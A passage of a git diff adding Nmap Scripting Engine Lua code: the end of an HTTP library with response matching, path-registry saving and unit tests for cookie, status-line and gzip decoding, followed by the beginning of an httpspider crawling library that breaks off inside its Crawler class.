+ end
+
+ return false
+ else
+ -- Page was a 404, or looked like a 404
+ return false
+ end
+ end
+ else
+ stdnse.debug1("HTTP: HTTP request failed (is the host still up?)")
+ return false
+ end
+end
+
+local lowercase = function (p)
+ return (p or ''):lower()
+end
+local safe_string = function (p)
+ return p or ''
+end
+---Check if the response variable contains the given text.
+--
+-- Response variable could be a return from a http.get, http.post,
+-- http.pipeline_go, etc. The text can be:
+-- * Part of a header ('content-type', 'text/html', '200 OK', etc)
+-- * An entire header ('Content-type: text/html', 'Content-length: 123', etc)
+-- * Part of the body
+--
+-- The search text is treated as a Lua pattern.
+--
+--@param response The full response table from a HTTP request.
+--@param pattern The pattern we're searching for. Don't forget to escape '-',
+-- for example, 'Content%-type'. The pattern can also contain
+-- captures, like 'abc(.*)def', which will be returned if
+-- successful.
+--@param case_sensitive [optional] Set to <code>true</code> for case-sensitive
+-- searches. Default: not case sensitive.
+--@return result True if the string matched, false otherwise
+--@return matches An array of captures from the match, if any
+function response_contains(response, pattern, case_sensitive)
+ local m
+
+ -- If they're searching for the empty string or nil, it's true
+ if(pattern == '' or pattern == nil) then
+ return true
+ end
+
+ -- Create a function that either lowercases everything or doesn't, depending on case sensitivity
+ local case = case_sensitive and safe_string or lowercase
+
+ -- Set the case of the pattern
+ pattern = case(pattern)
+
+ -- Check the status line (eg, 'HTTP/1.1 200 OK')
+ m = {string.match(case(response['status-line']), pattern)};
+ if(m and #m > 0) then
+ return true, m
+ end
+
+ -- Check the headers
+ for _, header in pairs(response['rawheader']) do
+ m = {string.match(case(header), pattern)}
+ if(m and #m > 0) then
+ return true, m
+ end
+ end
+
+ -- Check the body
+ m = {string.match(case(response['body']), pattern)}
+ if(m and #m > 0) then
+ return true, m
+ end
+
+ return false
+end
+
+---This function should be called whenever a valid path (a path that doesn't
+-- contain a known 404 page) is discovered.
+--
+-- It will add the path to the registry in several ways, allowing other scripts
+-- to take advantage of it in interesting ways.
+--
+--@param host The host the path was discovered on (not necessarily the host
+-- being scanned).
+--@param port The port the path was discovered on (not necessarily the port
+-- being scanned).
+--@param path The path discovered. Calling this more than once with the same
+-- path is okay; it'll update the data as much as possible instead
+-- of adding a duplicate entry
+--@param status [optional] The status code (200, 404, 500, etc). This can be
+-- left off if it isn't known.
+--@param links_to [optional] A table of paths that this page links to.
+--@param linked_from [optional] A table of paths that link to this page.
+--@param contenttype [optional] The content-type value for the path, if it's known.
+function save_path(host, port, path, status, links_to, linked_from, contenttype)
+ -- Make sure we have a proper hostname and port
+ host = ascii_hostname(host)
+ if(type(port) == 'table') then
+ port = port['number']
+ end
+
+ -- Parse the path
+ local parsed = url.parse(path)
+
+ -- contains both query and fragment
+ parsed['raw_querystring'] = parsed['query']
+
+ if parsed['fragment'] then
+ parsed['raw_querystring'] = ( parsed['raw_querystring'] or "" ) .. '#' .. parsed['fragment']
+ end
+
+ if parsed['raw_querystring'] then
+ parsed['path_query'] = parsed['path'] .. '?' .. parsed['raw_querystring']
+ else
+ parsed['path_query'] = parsed['path']
+ end
+
+ -- Split up the query, if necessary
+ if(parsed['raw_querystring']) then
+ parsed['querystring'] = {}
+ local values = stringaux.strsplit('&', parsed['raw_querystring'])
+ for i, v in ipairs(values) do
+ local name, value = table.unpack(stringaux.strsplit('=', v))
+ parsed['querystring'][name] = value
+ end
+ end
+
+ if parsed.host then
+ host = parsed.ascii_host or parsed.host
+ end
+
+ if parsed.port then
+ port = parsed.port
+ end
+
+ -- Add to the 'all_pages' key
+ stdnse.registry_add_array({host, 'www', port, 'all_pages'}, parsed['path'])
+
+ -- Add the URL with querystring to all_pages_full_query
+ stdnse.registry_add_array({host, 'www', port, 'all_pages_full_query'}, parsed['path_query'])
+
+ -- Add the URL to a key matching the response code
+ if(status) then
+ stdnse.registry_add_array({host, 'www', port, 'status_codes', status}, parsed['path'])
+ end
+
+ -- If it's a directory, add it to the directories list; otherwise, add it to the files list
+ if(parsed['is_folder']) then
+ stdnse.registry_add_array({host, 'www', port, 'directories'}, parsed['path'])
+ else
+ stdnse.registry_add_array({host, 'www', port, 'files'}, parsed['path'])
+ end
+
+
+ -- If we have an extension, add it to the extensions key
+ if(parsed['extension']) then
+ stdnse.registry_add_array({host, 'www', port, 'extensions', parsed['extension']}, parsed['path'])
+ end
+
+ -- Add an entry for the page and its arguments
+ if(parsed['querystring']) then
+ -- Add all scripts with a querystring to the 'cgi' and 'cgi_full_query' keys
+ stdnse.registry_add_array({host, 'www', port, 'cgi'}, parsed['path'])
+ stdnse.registry_add_array({host, 'www', port, 'cgi_full_query'}, parsed['path_query'])
+
+ -- Add the query string alone to the registry (probably not necessary)
+ stdnse.registry_add_array({host, 'www', port, 'cgi_querystring', parsed['path'] }, parsed['raw_querystring'])
+
+ -- Add the individual arguments for the page, along with their values
+ for key, value in pairs(parsed['querystring']) do
+ stdnse.registry_add_array({host, 'www', port, 'cgi_args', parsed['path']}, parsed['querystring'])
+ end
+ end
+
+ -- Save the pages it links to
+ if(links_to) then
+ if(type(links_to) == 'string') then
+ links_to = {links_to}
+ end
+
+ for _, v in ipairs(links_to) do
+ stdnse.registry_add_array({host, 'www', port, 'links_to', parsed['path_query']}, v)
+ end
+ end
+
+ -- Save the pages it's linked from (we save these in the 'links_to' key, reversed)
+ if(linked_from) then
+ if(type(linked_from) == 'string') then
+ linked_from = {linked_from}
+ end
+
+ for _, v in ipairs(linked_from) do
+ stdnse.registry_add_array({host, 'www', port, 'links_to', v}, parsed['path_query'])
+ end
+ end
+
+ -- Save it as a content-type, if we have one
+ if(contenttype) then
+ stdnse.registry_add_array({host, 'www', port, 'content-type', contenttype}, parsed['path_query'])
+ end
+end
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+do
+ local cookie_tests = {
+ { name = "#1198: conflicting attribute name",
+ cookie = "JSESSIONID=aaa; name=bbb; value=ccc; attr=ddd",
+ parsed = {
+ name = "JSESSIONID",
+ value = "aaa",
+ attr = "ddd",
+ }
+ },
+ { name = "#1171: empty attribute value",
+ cookie = "JSESSIONID=aaa; attr1; attr2=; attr3=",
+ parsed = {
+ name = "JSESSIONID",
+ value = "aaa",
+ attr1 = "",
+ attr2 = "",
+ attr3 = "",
+ }
+ },
+ { name = "#1170: quotes present",
+ cookie = "aaa=\"b\\\"bb\"; pATH = \"ddd eee\" fff",
+ parsed = {
+ name = "aaa",
+ value = "\"b\\\"bb\"",
+ path = "\"ddd eee\" fff"
+ }
+ },
+ { name = "#1169: empty attributes",
+ cookie = "JSESSIONID=aaa; ; Path=/;;Secure;",
+ parsed = {
+ name = "JSESSIONID",
+ value = "aaa",
+ path = "/",
+ secure = ""
+ }
+ },
+ { name = "#844: space in a cookie value",
+ cookie = " SESSIONID = IgAAABjN8b3xxxNsLRIiSpHLPn1lE=&IgAAAxxxMT6Bw==&Huawei USG6320&langfrombrows=en-US&copyright=2014 ;secure",
+ parsed = {
+ name = "SESSIONID",
+ value = "IgAAABjN8b3xxxNsLRIiSpHLPn1lE=&IgAAAxxxMT6Bw==&Huawei USG6320&langfrombrows=en-US&copyright=2014",
+ secure = ""
+ }
+ },
+ { name = "#866: unexpected attribute",
+ cookie = " SID=c98fefa3ad659caa20b89582419bb14f; Max-Age=1200; Version=1",
+ parsed = {
+ name = "SID",
+ value = "c98fefa3ad659caa20b89582419bb14f",
+ ["max-age"] = "1200",
+ version = "1"
+ }
+ },
+ { name = "#731: trailing semicolon",
+ cookie = "session_id=76ca8bc8c19;",
+ parsed = {
+ name = "session_id",
+ value = "76ca8bc8c19"
+ }
+ },
+ { name = "#229: comma is not a delimiter",
+ cookie = "c1=aaa; path=/bbb/ccc,ddd/eee",
+ parsed = {
+ name = "c1",
+ value = "aaa",
+ path = "/bbb/ccc,ddd/eee"
+ }
+ },
+ }
+
+ for _, test in ipairs(cookie_tests) do
+ local parsed = parse_set_cookie(test.cookie)
+ test_suite:add_test(unittest.not_nil(parsed), test.name)
+ if parsed then
+ test_suite:add_test(unittest.keys_equal(parsed, test.parsed), test.name)
+ end
+ end
+
+ local status_line_tests = {
+ { name = "valid status line",
+ line = "HTTP/1.0 200 OK\r\n",
+ result = true,
+ parsed = {
+ version = "1.0",
+ status = 200,
+ }
+ },
+ { name = "malformed version in status line",
+ line = "HTTP/1. 200 OK\r\n",
+ result = false,
+ parsed = {
+ version = nil,
+ status = nil,
+ }
+ },
+ { name = "non-integer status code in status line",
+ line = "HTTP/1.0 20A OK\r\n",
+ result = false,
+ parsed = {
+ version = "1.0",
+ status = nil,
+ }
+ },
+ { name = "missing reason phrase in status line",
+ line = "HTTP/1.0 200\r\n",
+ result = true,
+ parsed = {
+ version = "1.0",
+ status = 200,
+ }
+ },
+ }
+
+ for _, test in ipairs(status_line_tests) do
+ local response = {}
+ local result, error = parse_status_line(test.line, response)
+ if test.result then
+ test_suite:add_test(unittest.not_nil(result), test.name)
+ else
+ test_suite:add_test(unittest.is_nil(result), test.name)
+ test_suite:add_test(unittest.not_nil(error), test.name)
+ end
+ test_suite:add_test(unittest.equal(response["status-line"], test.line), test.name)
+ if result then
+ test_suite:add_test(unittest.equal(response.status, test.parsed.status), test.name)
+ test_suite:add_test(unittest.equal(response.version, test.parsed.version), test.name)
+ end
+ end
+
+ local content_encoding_tests = {}
+ table.insert(content_encoding_tests,
+ { name = "nil encoding list",
+ encoding = nil,
+ source = "SomePlaintextBody",
+ target = "SomePlaintextBody",
+ decoded = nil,
+ undecoded = nil
+ })
+ table.insert(content_encoding_tests,
+ { name = "no encoding",
+ encoding = {},
+ source = "SomePlaintextBody",
+ target = "SomePlaintextBody",
+ decoded = {},
+ undecoded = {}
+ })
+ table.insert(content_encoding_tests,
+ { name = "identity encoding",
+ encoding = "identity",
+ source = "SomePlaintextBody",
+ target = "SomePlaintextBody",
+ decoded = {"identity"},
+ undecoded = {}
+ })
+ if have_zlib then
+ table.insert(content_encoding_tests,
+ { name = "gzip encoding",
+ encoding = "gzip",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = "Hello, World!",
+ decoded = {"gzip"},
+ undecoded = {}
+ })
+ table.insert(content_encoding_tests,
+ { name = "corrupted gzip encoding",
+ encoding = "gzip",
+ source = stdnse.fromhex("2f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = nil,
+ decoded = {},
+ undecoded = {"gzip"},
+ err = "Corrupted Content-Encoding: gzip",
+ fragment = stdnse.fromhex("2f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000")
+ })
+ table.insert(content_encoding_tests,
+ { name = "gzip encoding with maxlen",
+ encoding = "gzip",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = "Hello, World!",
+ decoded = {"gzip"},
+ undecoded = {},
+ maxlen = 999
+ })
+ table.insert(content_encoding_tests,
+ { name = "gzip encoding with small maxlen",
+ encoding = "gzip",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = nil,
+ decoded = {"gzip"},
+ undecoded = {},
+ maxlen = 4,
+ err = ERR_OVERSIZED_BODY,
+ fragment = "Hell"
+ })
+ table.insert(content_encoding_tests,
+ { name = "gzip encoding with exact maxlen",
+ encoding = "gzip",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = "Hello, World!",
+ decoded = {"gzip"},
+ undecoded = {},
+ maxlen = 13
+ })
+ table.insert(content_encoding_tests,
+ { name = "gzip-encoded empty body",
+ encoding = "gzip",
+ source = "",
+ target = "",
+ decoded = {"gzip"},
+ undecoded = {},
+ maxlen = 999
+ })
+ end
+ table.insert(content_encoding_tests,
+ { name = "unknown encoding",
+ encoding = "identity, mystery, miracle",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ decoded = {"identity"},
+ undecoded = {"mystery", "miracle"}
+ })
+ if have_zlib then
+ table.insert(content_encoding_tests,
+ { name = "stacked encoding",
+ encoding = "identity, gzip, identity",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = "Hello, World!",
+ decoded = {"identity", "gzip", "identity"},
+ undecoded = {}
+ })
+ else
+ table.insert(content_encoding_tests,
+ { name = "stacked encoding",
+ encoding = "identity, gzip, identity",
+ source = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ target = stdnse.fromhex("1f8b0800000000000000f348cdc9c9d75108cf2fca49510400d0c34aec0d000000"),
+ decoded = {"identity"},
+ undecoded = {"gzip", "identity"}
+ })
+ end
+ for _, test in ipairs(content_encoding_tests) do
+ local body, dcd, undcd, err, fragment = decode_body(test.source, test.encoding, test.maxlen)
+ test_suite:add_test(unittest.equal(body, test.target), test.name .. " (body)")
+ test_suite:add_test(unittest.identical(dcd, test.decoded), test.name .. " (decoded)")
+ test_suite:add_test(unittest.identical(undcd, test.undecoded), test.name .. " (undecoded)")
+ test_suite:add_test(unittest.equal(err, test.err), test.name .. " (err)")
+ test_suite:add_test(unittest.equal(fragment, test.fragment), test.name .. " (fragment)")
+ end
+
+end
+
+return _ENV;
diff --git a/nselib/httpspider.lua b/nselib/httpspider.lua
new file mode 100644
index 0000000..000d4d5
--- /dev/null
+++ b/nselib/httpspider.lua
@@ -0,0 +1,1075 @@
+---
+-- A smallish httpspider library providing basic spidering capabilities
+-- It consists of the following classes:
+--
+-- * <code>Options</code>
+-- ** This class is responsible for handling library options.
+--
+-- * <code>LinkExtractor</code>
+-- ** This class contains code responsible for extracting urls from web pages.
+--
+-- * <code>URL</code>
+-- ** This class contains code to parse and process URLs.
+--
+-- * <code>UrlQueue</code>
+-- ** This class contains a queue of the next links to process.
+--
+-- * <code>Crawler</code>
+-- ** This class is responsible for the actual crawling.
+--
+-- The following sample code shows how the spider could be used:
+-- <code>
+-- local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
+-- crawler:set_timeout(10000)
+--
+-- local result
+-- while(true) do
+-- local status, r = crawler:crawl()
+-- if ( not(status) ) then
+-- break
+-- end
+-- if ( r.response.body:match(str_match) ) then
+-- crawler:stop()
+-- result = r.url
+-- break
+-- end
+-- end
+--
+-- return result
+-- </code>
+--
+-- For advanced use, the library currently supports a number of closures (withinhost,
+-- withindomain, doscraping). Please note, that withinhost and withindomain options also
+-- support boolean values. You will want to override them only for advanced use. You can
+-- define them using the following utilities:
+--
+-- * <code>iswithinhost</code>
+-- ** You can use this utility to check if the resource exists within the host.
+--
+-- * <code>iswithindomain</code>
+-- ** You can use this utility to check if the resource exists within the domain.
+--
+-- * <code>isresource</code>
+-- ** You can use this utility to check the type of the resource (for example "js").
+-- ** A third option may hold a number of signs that may exist after the extension
+-- ** of the resource. By default, these are [#, ?]. For example, if we want to return
+-- only php resources, the function will also return example.php?query=foo or
+-- example.php#foo.
+--
+-- The following sample code shows an example usage. We override the default
+-- withinhost method and we allow spidering only on resources within the host
+-- that they are not "js" or "css".
+-- <code>
+-- crawler.options.withinhost = function(url)
+-- if crawler:iswithinhost(url)
+-- and not crawler:isresource(url, "js")
+-- and not crawler:isresource(url, "css") then
+-- return true
+-- end
+-- end
+-- </code>
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- @args httpspider.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args httpspider.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args httpspider.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args httpspider.withinhost Closure that overrides the default withinhost
+-- function that only spiders URLs within the same host. If this is
+-- set to false the crawler will spider URLs both inside and outside
+-- the host. See the closure section above to override the default
+-- behaviour. (default: true)
+-- @args httpspider.withindomain Closure that overrides the default
+-- withindomain function that only spiders URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. See the closure section above to
+-- override the default behaviour. (default: false)
+-- @args httpspider.noblacklist if set, doesn't load the default blacklist
+-- @args httpspider.useheadfornonwebfiles if set, the crawler would use
+-- HEAD instead of GET for files that do not have extensions indicating
+-- that they are webpages (the list of webpage extensions is located in
+-- nselib/data/http-web-files-extensions.lst)
+-- @args httpspider.doscraping Closure that overrides the default doscraping
+-- function used to check if the resource should be scraped (in terms
+-- of extracting any links within it). See the closure section above to
+-- override the default behaviour.
+---
+
+local coroutine = require "coroutine"
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+_ENV = stdnse.module("httpspider", stdnse.seeall)
+
+local LIBRARY_NAME = "httpspider"
+local PREFETCH_SIZE = 5
+
+-- The Options class, handling all spidering options
+Options = {
+
+ new = function(self, options)
+ local o = { }
+
+ -- copy all options as class members
+ for k, v in pairs(options) do o[k] = v end
+
+ -- set a few default values
+ o.timeout = options.timeout or 10000
+ o.whitelist = o.whitelist or {}
+ o.blacklist = o.blacklist or {}
+ local removewww = function(url) return string.gsub(url, "^www%.", "") end
+
+ -- set up the appropriate matching functions
+ if ( o.withinhost ) then
+ o.withinhost = function(u)
+ local parsed_u = url.parse(tostring(u))
+ local host = parsed_u.ascii_host or parsed_u.host
+
+ if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then
+ if ( parsed_u.port ~= tonumber(o.base_url:getPort()) ) then
+ return false
+ end
+ elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then
+ return false
+ -- if urls don't match only on the "www" prefix, then they are probably the same
+ elseif ( host == nil or removewww(host:lower()) ~= removewww(o.base_url:getHost():lower()) ) then
+ return false
+ end
+ return true
+ end
+ end
+ if ( o.withindomain ) then
+ o.withindomain = function(u)
+ local parsed_u = url.parse(tostring(u))
+ local host = parsed_u.ascii_host or parsed_u.host
+ if ( o.base_url:getPort() ~= 80 and o.base_url:getPort() ~= 443 ) then
+ if ( parsed_u.port ~= tonumber(o.base_url:getPort()) ) then
+ return false
+ end
+ elseif ( parsed_u.scheme ~= o.base_url:getProto() ) then
+ return false
+ elseif ( host == nil or host:sub(-#o.base_url:getDomain()):lower() ~= o.base_url:getDomain():lower() ) then
+ return false
+ end
+ return true
+ end
+ end
+
+ if (not o.doscraping) then
+
+ o.doscraping = function(u)
+ return true
+ end
+ end
+
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ addWhitelist = function(self, func) table.insert(self.whitelist, func) end,
+ addBlacklist = function(self, func) table.insert(self.blacklist, func) end,
+
+}
+
+-- Placeholder for form extraction code
+FormExtractor = {
+
+}
+
+LinkExtractor = {
+
+ -- Creates a new instance of LinkExtractor
+ -- @return o instance of LinkExtractor
+ new = function(self, url, html, options)
+ local o = {
+ url = url,
+ html = html,
+ links = {},
+ options = options,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+
+ return o
+ end,
+
+ -- is the link absolute or not?
+ isAbsolute = function(url)
+ -- at this point we don't care about the protocol
+ -- also, we don't add // to cover stuff like:
+ -- feed:http://example.com/rss.xml
+ return ( url:match('^%w*:') ~= nil )
+ end,
+
+ -- Creates an absolute link from a relative one based on the base_url
+ -- The functionality is very simple and does not take any ../../ in
+ -- consideration.
+ --
+ -- @param base_url URL containing the page url from which the links were
+ -- extracted
+ -- @param rel_url string containing the relative portion of the URL
+ -- @return link string containing the absolute link
+ createAbsolute = function(base_url, rel_url, base_href)
+
+ -- is protocol-relative?
+ if rel_url:match("^//") then
+ return ("%s%s%s"):format(base_url:getProto(), ":", rel_url)
+ end
+
+ -- is relative with leading slash? ie /dir1/foo.html
+ local leading_slash = rel_url:match("^/")
+ rel_url = rel_url:match("^/?(.*)") or '/'
+
+ -- check for tailing slash
+ if ( base_href and not(base_href:match("/$") ) ) then
+ base_href = base_href .. '/'
+ end
+
+ if base_url:getPort() == url.get_default_port(base_url:getProto()) then
+ if ( leading_slash ) then
+ return ("%s://%s/%s"):format(base_url:getProto(), base_url:getHost(), rel_url)
+ else
+ if ( base_href ) then
+ return ("%s%s"):format(base_href, rel_url)
+ else
+ return ("%s://%s%s%s"):format(base_url:getProto(), base_url:getHost(), base_url:getDir(), rel_url)
+ end
+ end
+ else
+ if ( leading_slash ) then
+ return ("%s://%s:%d/%s"):format(base_url:getProto(), base_url:getHost(), base_url:getPort(), rel_url)
+ else
+ if ( base_href ) then
+ return ("%s%s"):format(base_href, rel_url)
+ else
+ return ("%s://%s:%d%s%s"):format(base_url:getProto(), base_url:getHost(), base_href or base_url:getPort(), base_url:getDir(), rel_url)
+ end
+ end
+ end
+ end,
+
+ -- Gets the depth of the link, relative to our base url eg.
+ -- base_url = http://www.cqure.net/wp/
+ -- url = http://www.cqure.net/wp/ - depth: 0
+ -- url = http://www.cqure.net/wp/index.php - depth: 0
+ -- url = http://www.cqure.net/wp/2011/index.php - depth: 1
+ -- url = http://www.cqure.net/index.html - depth: -1
+ --
+ -- @param url instance of URL
+ -- @return depth number containing the depth relative to the base_url
+ getDepth = function(self, url)
+ local base_dir, url_dir = self.options.base_url:getDir(), url:getDir()
+ if ( url_dir and base_dir ) then
+ local m = url_dir:match(base_dir.."(.*)")
+ if ( not(m) ) then
+ return -1
+ else
+ local _, depth = m:gsub("/", "/")
+ return depth
+ end
+ end
+ end,
+
+ validate_link = function(self, url)
+ local valid = true
+
+ -- if our url is nil, abort, this could be due to a number of
+ -- reasons such as unsupported protocols: javascript, mail ... or
+ -- that the URL failed to parse for some reason
+ if ( url == nil or tostring(url) == nil ) then
+ return false
+ end
+
+ -- linkdepth trumps whitelisting
+ if ( self.options.maxdepth and self.options.maxdepth >= 0 ) then
+ local depth = self:getDepth( url )
+ if ( -1 == depth or depth > self.options.maxdepth ) then
+ stdnse.debug3("%s: Skipping link depth: %d; b_url=%s; url=%s", LIBRARY_NAME, depth, tostring(self.options.base_url), tostring(url))
+ return false
+ end
+ end
+
+ -- withindomain trumps any whitelisting
+ if ( self.options.withindomain ) then
+ if ( not(self.options.withindomain(url)) ) then
+ stdnse.debug2("%s: Link is not within domain: %s", LIBRARY_NAME, tostring(url))
+ return false
+ end
+ end
+
+ -- withinhost trumps any whitelisting
+ if ( self.options.withinhost ) then
+ if ( not(self.options.withinhost(url)) ) then
+ stdnse.debug2("%s: Link is not within host: %s", LIBRARY_NAME, tostring(url))
+ return false
+ end
+ end
+
+ -- run through all blacklists
+ if ( #self.options.blacklist > 0 ) then
+ for _, func in ipairs(self.options.blacklist) do
+ if ( func(url) ) then
+ stdnse.debug2("%s: Blacklist match: %s", LIBRARY_NAME, tostring(url))
+ valid = false
+ break
+ end
+ end
+ end
+
+ -- check the url against our whitelist
+ if ( #self.options.whitelist > 0 ) then
+ valid = false
+ for _, func in ipairs(self.options.whitelist) do
+ if ( func(url) ) then
+ stdnse.debug2("%s: Whitelist match: %s", LIBRARY_NAME, tostring(url))
+ valid = true
+ break
+ end
+ end
+ end
+ return valid
+ end,
+
+ -- Parses a HTML response and extracts all links it can find
+ -- The function currently supports href, src and action links
+ -- Also all behaviour options, such as depth, white- and black-list are
+ -- processed in here.
+ parse = function(self)
+ local links = {}
+ local patterns = {
+ '<[^>]+[hH][rR][eE][fF]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]',
+ '<[^>]+[hH][rR][eE][fF]%s*=%s*([^\'\"][^%s>]+)',
+ '<[^>]+[sS][rR][cC]%s*=%s*[\'"]%s*([^"^\']-)%s*[\'"]',
+ '<[^>]+[sS][rR][cC]%s*=%s*([^\'\"][^%s>]+)',
+ '<[^>]+[aA][cC][tT][iI][oO][nN]%s*=%s*[\'"]%s*([^"^\']+%s*)[\'"]',
+ }
+
+ local base_hrefs = {
+ '<[^>]+[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*[\'"](%s*[^"^\']+%s*)[\'"]',
+ '<[^>]+[Bb][Aa][Ss][Ee]%s*[Hh][Rr][Ee][Ff]%s*=%s*([^\'\"][^%s>]+)'
+ }
+
+ local base_href
+ for _, pattern in ipairs(base_hrefs) do
+ base_href = self.html:match(pattern)
+ if ( base_href ) then
+ break
+ end
+ end
+
+ for _, pattern in ipairs(patterns) do
+ for l in self.html:gmatch(pattern) do
+ local link = l
+ if ( not(LinkExtractor.isAbsolute(l)) ) then
+ link = LinkExtractor.createAbsolute(self.url, l, base_href)
+ end
+
+ local url = URL:new(link)
+
+ local valid = self:validate_link(url)
+
+ if ( valid ) then
+ stdnse.debug3("%s: Adding link: %s", LIBRARY_NAME, tostring(url))
+ links[tostring(url)] = true
+ elseif ( tostring(url) ) then
+ stdnse.debug3("%s: Skipping url: %s", LIBRARY_NAME, link)
+ end
+ end
+ end
+
+ for link in pairs(links) do
+ table.insert(self.links, link)
+ end
+
+ end,
+
+ -- Gets a table containing all of the retrieved URLs, after filtering
+ -- has been applied.
+ getLinks = function(self) return self.links end,
+
+
+}
+
+-- The URL class, containing code to process URLS
+-- This class is heavily inspired by the Java URL class
+URL = {
+
+ -- Creates a new instance of URL
+ -- @param url string containing the text representation of a URL
+ -- @return o instance of URL, in case of parsing being successful
+ -- nil in case parsing fails
+ new = function(self, url)
+ local o = {
+ raw = url,
+ }
+
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the string representation of the URL and splits it into different
+ -- URL components
+ -- @return status true on success, false on failure
+ parse = function(self)
+ local parsed = url.parse(self.raw)
+ if parsed.scheme and parsed.scheme:match("^https?$") then
+ self.proto = parsed.scheme
+ self.host = parsed.ascii_host or parsed.host
+ self.port = tonumber(parsed.port) or url.get_default_port(self.proto)
+ -- "file" is the path, params, and query, but not the fragment
+ local fileparts = {parsed.path}
+ if parsed.params then
+ fileparts[#fileparts+1] = ";"
+ fileparts[#fileparts+1] = parsed.params
+ end
+ if parsed.query then
+ fileparts[#fileparts+1] = "?"
+ fileparts[#fileparts+1] = parsed.query
+ end
+ self.file = table.concat(fileparts)
+ self.path = parsed.path
+ -- Normalize the values; removes dot and dot-dot path segments
+ self.file = url.absolute("", self.file)
+ self.path = url.absolute("", self.path)
+ self.dir = self.path:match("^(.+%/)") or "/"
+ if self.host then
+ -- TODO: Use public suffix list to extract domain
+ self.domain= self.host:match("^[^%.]-%.(.*)")
+ end
+ return true
+ end
+ return false
+ end,
+
+ -- Gets the host portion of the URL
+ -- @return host string containing the hostname
+ getHost = function(self) return self.host end,
+
+ -- Gets the protocol representation of the URL
+ -- @return proto string containing the protocol (ie. http, https)
+ getProto = function(self) return self.proto end,
+
+ -- Returns the filename component of the URL.
+ -- @return file string containing the path and query components of the url
+ getFile = function(self) return self.file end,
+
+ -- Gets the port component of the URL
+ -- @return port number containing the port of the URL
+ getPort = function(self) return self.port end,
+
+ -- Gets the path component of the URL
+ -- @return the full path and filename of the URL
+ getPath = function(self) return self.path end,
+
+ -- Gets the directory component of the URL
+ -- @return directory string containing the directory part of the URL
+ getDir = function(self) return self.dir end,
+
+ -- Gets the domain component of the URL
+ -- @return domain string containing the hosts domain
+ getDomain = function(self)
+ if ( self.domain ) then
+ return self.domain
+ -- fallback to the host, if we can't find a domain
+ else
+ return self.host
+ end
+ end,
+
+ -- Converts the URL to a string
+ -- @return url string containing the string representation of the url
+ __tostring = function(self)
+ return string.format("%s://%s:%s%s",
+ self.proto,
+ self.host,
+ self.port,
+ self.file
+ )
+ end,
+}
+
+-- An UrlQueue
+UrlQueue = {
+
+ -- creates a new instance of UrlQueue
+ -- @param options table containing options
+ -- @return o new instance of UrlQueue
+ new = function(self, options)
+ local o = {
+ urls = {},
+ options = options
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- gets the next available url in the queue
+ getNext = function(self)
+ return table.remove(self.urls,1)
+ end,
+
+ -- adds a new url to the queue
+ -- @param url can be either a string or a URL or a table of URLs
+ add = function(self, url)
+ assert( type(url) == 'string' or type(url) == 'table', "url was neither a string or table")
+ local urls = ( 'string' == type(url) ) and URL:new(url) or url
+
+ -- if it's a table, it can be either a single URL or an array of URLs
+ if ( 'table' == type(url) and url.raw ) then
+ urls = { url }
+ end
+
+ for _, u in ipairs(urls) do
+ u = ( 'string' == type(u) ) and URL:new(u) or u
+ if ( u ) then
+ table.insert(self.urls, u)
+ else
+ stdnse.debug1("ERROR: Invalid URL: %s", url)
+ end
+ end
+ end,
+
+ -- dumps the contents of the UrlQueue
+ dump = function(self, printer)
+ printer = printer or print
+ for _, url in ipairs(self.urls) do
+ printer("url:", url)
+ end
+ end,
+
+}
+
+-- The Crawler class
+Crawler = {
+
+ options = {},
+
+ removewww = function(url) return string.gsub(url, "^www%.", "") end,
+
+ -- An utility when defining closures. Checks if the resource exists within host.
+ -- @param u URL that points to the resource we want to check.
+ iswithinhost = function(self, u)
+ local parsed_u = url.parse(tostring(u))
+ local host = parsed_u.ascii_host or parsed_u.host
+ if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then
+ if ( parsed_u.port ~= tonumber(self.options.base_url:getPort()) ) then
+ return false
+ end
+ elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then
+ return false
+ -- if urls don't match only on the "www" prefix, then they are probably the same
+ elseif ( host == nil or self.removewww(host:lower()) ~= self.removewww(self.options.base_url:getHost():lower()) ) then
+ return false
+ end
+ return true
+ end,
+
